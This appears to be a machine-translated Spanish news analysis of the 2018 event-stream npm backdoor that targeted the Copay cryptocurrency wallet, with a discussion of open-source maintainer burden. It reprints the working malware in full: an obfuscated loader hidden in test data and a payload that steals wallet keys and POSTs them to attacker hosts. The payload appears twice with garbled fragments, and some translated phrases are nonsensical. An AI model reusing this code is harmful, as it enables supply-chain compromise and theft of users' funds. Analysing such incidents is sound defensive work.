Puerta trasera en una de las dependencias de la biblioteca EventStream



Más de 1.9 millones de copias de la biblioteca EventStream se descargan semanalmente desde el repositorio de NPM. Se utiliza en muchos proyectos grandes para un trabajo simple y conveniente con flujos en Node.JS. Entre otros, esta biblioteca también procesa transmisiones en la popular billetera criptográfica Copay (sin embargo, más sobre eso más adelante).

El 21 de noviembre de 2018, sucedió algo extraño. El usuario de GitHub @FallingSnow informó que una de las dependencias de flujo de eventos ha ocultado código malicioso, que de hecho es una puerta trasera de funcionalidad desconocida.

Los usuarios comenzaron a descubrir de dónde provenía este código malicioso. Esta es una historia muy interesante e instructiva. Desafortunadamente, puede tener consecuencias a largo plazo para muchos proyectos de código abierto.

Entonces, la investigación ha comenzado. Gracias al historial de confirmaciones en GitHub, se hizo evidente de inmediato que el usuario malintencionado fue creado por otro usuario @ right9ctrl , a quien se le concedieron los derechos del responsable de la transmisión de eventos. Tiene varios compromisos normales en su cuenta, y el autor del proyecto Dominic Carr ( @dominictarr ) le transfirió los derechos del responsable .

¿Por qué el autor transfirió los derechos del mantenedor a un completo desconocido? Dominic mismo dice que es una carga involucrarse en el proyecto. Vea la justificación detallada de este incidente: el autor escribe que generalmente creó el proyecto por placer y no pensó que su apoyo tomaría tanto tiempo, y la biblioteca misma estuvo involucrada en tantos programas serios. No se exime de la culpa del incidente, pero dice que el proyecto de código abierto no es su "propiedad", es un dominio público, por lo que todos los demás también son responsables de lo que sucedió. Después de todo, ¿por qué ninguna de las personas normales se hizo cargo de los derechos del mantenedor y auditó los compromisos?

Volvamos a la confirmación @ right9ctrl mencionada. El truco es que no inyectó el código de puerta trasera directamente en la biblioteca de event-stream , sino que solo inyectó la dependencia en otro paquete de secuencia de mapa plano . Ya en él, bajo la apariencia de un conjunto de datos de prueba (test / data.js), en una de las variables se transmitió un código malicioso del siguiente contenido:

Puerta trasera
 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; // npm_package_description = process['env']['npm_package_description']; npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key) // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

Después de "decodificar" la variable n imagen se vuelve más clara .

Arranque inicial
 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

Segunda etapa
 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); 

Después de la desofuscación, la funcionalidad de la puerta trasera quedó clara . Resultó que solo funciona con éxito si hay una billetera criptográfica de copay-dash en el sistema (paquete de copay-dash ). En este caso, copia las billeteras privadas de los usuarios y las envía a direcciones IP en Malasia.

Los desarrolladores de Copay llevaron a cabo una investigación y descubrieron que la puerta trasera cayó dependiendo de las versiones de billetera de 5.0.2 a 5.1.0, es decir, a la última versión. El 27 de noviembre de 2018, lanzaron rápidamente una versión actualizada 5.2.0.

El atacante @ right9ctrl no solo agregó una puerta trasera, sino que también trató de cubrir sus huellas. Tres días después, eliminó el código malicioso del repositorio de flatmap-stream , actualizó el número de versión y eliminó el antiguo de NPM. Por lo tanto, en la última versión del paquete no hay puerta trasera, pero ya ha vendido decenas de miles de automóviles, que era el objetivo. Este método resultó ser muy exitoso, a juzgar por el hecho de que la puerta trasera no se descubrió de inmediato.

Todavía se desconoce exactamente cuánto dinero logró ganar el atacante, pero este ataque demuestra la efectividad fundamental del método de introducir puertas traseras en proyectos de código abierto. Obviamente, este no es el último caso. Esto también está escrito por Dominic Carr, el autor de la biblioteca EventStream afectada: "Probablemente habrá muchos otros módulos en sus árboles de dependencia que ahora se convierten en una carga para sus autores", y estos módulos "onerosos" pueden transferirse a otros mantenedores, como sucedió en este caso, o incluso vendido por dinero. Dado que las dependencias están integradas en cientos y miles de programas, algunos de los módulos más pequeños pueden convertirse en una fuente de grandes problemas.

¿Por qué el autor del programa transfiere el control sobre él a un completo desconocido?

"Si esto ya no es divertido, entonces literalmente no obtienes nada al apoyar el popular paquete", dice Dominic Carr. - Por lo tanto, ahora estamos en un valle extraño, donde tienes un montón de adicciones apoyadas por aquellos que han perdido interés o incluso comenzaron a desvanecerse, y que ellos mismos ya no los usan . Puede compartir fácilmente el código, pero nadie quiere compartir la responsabilidad de mantener este código. "Al igual que un módulo parece parte de una propiedad digital, un derecho que se puede transferir, pero no se obtiene ningún beneficio al poseerlo, por ejemplo, la capacidad de venderlo o arrendarlo, sin embargo, aún conserva la responsabilidad".

¿Cuál es la salida de esta situación para los usuarios de software libre? Carr cree que paga al autor o participa activamente en el proyecto.





Source: https://habr.com/ru/post/es431204/


All Articles